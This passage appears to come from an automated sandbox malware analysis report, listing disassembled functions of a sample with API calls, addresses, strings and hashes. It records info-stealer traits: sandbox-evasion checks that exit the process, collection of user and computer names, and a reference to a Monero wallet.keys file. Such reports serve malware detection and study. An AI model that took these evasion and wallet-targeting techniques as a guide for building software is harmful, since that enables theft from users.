RegQueryValueExA.KERNEL32(00000000,011DDA00,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00200B34), ref: 001F8599
RegCloseKey.KERNEL32(00000000), ref: 001F8608
RegCloseKey.ADVAPI32(00000000), ref: 001F861A

Strings

%s\%s, xrefs: 001F844D

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 3a46053b2fdd62bc065e98f65b57a023dc03041115fb8b09899c81b75fd7a70a
Instruction ID: 6466114bf00ac02abeae48c79d5f8b437a1e30ed6765cad56d340c6086a73faf
Opcode Fuzzy Hash: 3a46053b2fdd62bc065e98f65b57a023dc03041115fb8b09899c81b75fd7a70a
Instruction Fuzzy Hash: 46211BB1A1021CABDB24DB54DC85FE9B3B8FB48704F40C5E8E60996140DF716A86CFD4

Function 001F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F76A4
RtlAllocateHeap.NTDLL(00000000), ref: 001F76AB
RegOpenKeyExA.KERNEL32(80000002,011CBAF0,00000000,00020119,00000000), ref: 001F76DD
RegQueryValueExA.KERNEL32(00000000,011DDA48,00000000,00000000,?,000000FF), ref: 001F76FE
RegCloseKey.ADVAPI32(00000000), ref: 001F7708

Strings

Windows 11, xrefs: 001F76BD

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 5c2ce91ee01069b7722f0da0f96791a0f7fc7f0639f9581341146a836e151bda
Instruction ID: 0d995a676441ffab8086376d9c70dac54d7e524929a359be72990ebc29bdf19a
Opcode Fuzzy Hash: 5c2ce91ee01069b7722f0da0f96791a0f7fc7f0639f9581341146a836e151bda
Instruction Fuzzy Hash: 82017CB4B00208BBE710EBE0DC49F69B7B8EB48701F504164FF0496290D77099158B59

Function 001F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7734
RtlAllocateHeap.NTDLL(00000000), ref: 001F773B
RegOpenKeyExA.KERNEL32(80000002,011CBAF0,00000000,00020119,001F76B9), ref: 001F775B
RegQueryValueExA.KERNEL32(001F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 001F777A
RegCloseKey.ADVAPI32(001F76B9), ref: 001F7784

Strings

CurrentBuildNumber, xrefs: 001F7771

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 21ec4e329b6001d82c84d12205ab1a04679a8e2c1c56fd690a76660e9e6ade41
Instruction ID: c1fed4c4e01528d6b7a7efc5e5b08cc0f876b77c5e3696510acc763a784a3a64
Opcode Fuzzy Hash: 21ec4e329b6001d82c84d12205ab1a04679a8e2c1c56fd690a76660e9e6ade41
Instruction Fuzzy Hash: 5D0144B5B40308BBDB10EBE4DC49FAEB7B8EB44704F504554FF05A7281DB7095118B55

Function 001F69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D06C0), ref: 001F98A1
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D06D8), ref: 001F98BA
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D0630), ref: 001F98D2
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D0648), ref: 001F98EA
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D06F0), ref: 001F9903
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D8B30), ref: 001F991B
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011C6960), ref: 001F9933
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011C68E0), ref: 001F994C
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D0708), ref: 001F9964
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D0810), ref: 001F997C
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D0828), ref: 001F9995
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D0558), ref: 001F99AD
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011C6860), ref: 001F99C5
Part of subcall function 001F9860: GetProcAddress.KERNEL32(75900000,011D0840), ref: 001F99DE

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001E11D0: ExitProcess.KERNEL32 ref: 001E1211

Part of subcall function 001E1160: GetSystemInfo.KERNEL32(?), ref: 001E116A
Part of subcall function 001E1160: ExitProcess.KERNEL32 ref: 001E117E

Part of subcall function 001E1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 001E112B
Part of subcall function 001E1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 001E1132
Part of subcall function 001E1110: ExitProcess.KERNEL32 ref: 001E1143

Part of subcall function 001E1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 001E123E
Part of subcall function 001E1220: __aulldiv.LIBCMT ref: 001E1258
Part of subcall function 001E1220: __aulldiv.LIBCMT ref: 001E1266
Part of subcall function 001E1220: ExitProcess.KERNEL32 ref: 001E1294

Part of subcall function 001F6770: GetUserDefaultLangID.KERNEL32 ref: 001F6774

Part of subcall function 001E1190: ExitProcess.KERNEL32 ref: 001E11C6

Part of subcall function 001F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001E11B7), ref: 001F7880
Part of subcall function 001F7850: RtlAllocateHeap.NTDLL(00000000), ref: 001F7887
Part of subcall function 001F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001F789F

Part of subcall function 001F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7910
Part of subcall function 001F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001F7917
Part of subcall function 001F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001F792F

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011D8A80,?,0020110C,?,00000000,?,00201110,?,00000000,00200AEF), ref: 001F6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 001F6AE8
CloseHandle.KERNEL32(00000000), ref: 001F6AF9
Sleep.KERNEL32(00001770), ref: 001F6B04
CloseHandle.KERNEL32(?,00000000,?,011D8A80,?,0020110C,?,00000000,?,00201110,?,00000000,00200AEF), ref: 001F6B1A
ExitProcess.KERNEL32 ref: 001F6B22

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 6eff527f8362495f665509b6415f122ddcac72f3a0f0679dbb303e252ed2cc7f
Instruction ID: 80d5f17775dbc89c464b5a5ce1771272abe527d4520dd92eaca81b2356aa13b0
Opcode Fuzzy Hash: 6eff527f8362495f665509b6415f122ddcac72f3a0f0679dbb303e252ed2cc7f
Instruction Fuzzy Hash: F33141B0A4020CABDB04F7F0DC56BFE7778AF64340F944528F706A6182DFB46A05C6A6

Function 001E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 001E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 001E9A31
ReadFile.KERNEL32(000000FF,?,00000000,001E148F,00000000), ref: 001E9A5A
LocalFree.KERNEL32(001E148F), ref: 001E9A90
CloseHandle.KERNEL32(000000FF), ref: 001E9A9A

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: b3ba4be4952bf0fda7d4eda45f334e19ce2322b7ae268d9c9711eaec7c98fd65
Instruction ID: 591532255690f3b2b90020ebbc8511d8f753968f1ef4f40b453e143229798692
Opcode Fuzzy Hash: b3ba4be4952bf0fda7d4eda45f334e19ce2322b7ae268d9c9711eaec7c98fd65
Instruction Fuzzy Hash: 51314DB4A00209EFDB24CF95D985FAE77B5FF88340F108168E905A7290D778A951CFA5

Function 001F4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,011DDDD8), ref: 001F47DB

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F4801
lstrcat.KERNEL32(?,?), ref: 001F4820
lstrcat.KERNEL32(?,?), ref: 001F4834
lstrcat.KERNEL32(?,011CB158), ref: 001F4847
lstrcat.KERNEL32(?,?), ref: 001F485B
lstrcat.KERNEL32(?,011DD318), ref: 001F486F

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001F8D90: GetFileAttributesA.KERNEL32(00000000,?,001E1B54,?,?,0020564C,?,?,00200E1F), ref: 001F8D9F

Part of subcall function 001F4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001F4580
Part of subcall function 001F4570: RtlAllocateHeap.NTDLL(00000000), ref: 001F4587
Part of subcall function 001F4570: wsprintfA.USER32 ref: 001F45A6
Part of subcall function 001F4570: FindFirstFileA.KERNEL32(?,?), ref: 001F45BD

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 84e055cf200972fdc13d158b50a2dd7b504813e82b7a19231a06fefc897e7d59
Instruction ID: 98a096089f8b51102cadb716ed226c07b0b32be541328f338f579052238a2a83
Opcode Fuzzy Hash: 84e055cf200972fdc13d158b50a2dd7b504813e82b7a19231a06fefc897e7d59
Instruction Fuzzy Hash: 2E3152B690020CA7CB20F7A0DC85EFD7378BB58704F404599B71A96081EFB4D6898B95

Function 001E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 001E123E
__aulldiv.LIBCMT ref: 001E1258
__aulldiv.LIBCMT ref: 001E1266
ExitProcess.KERNEL32 ref: 001E1294

Strings

@, xrefs: 001E1233

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
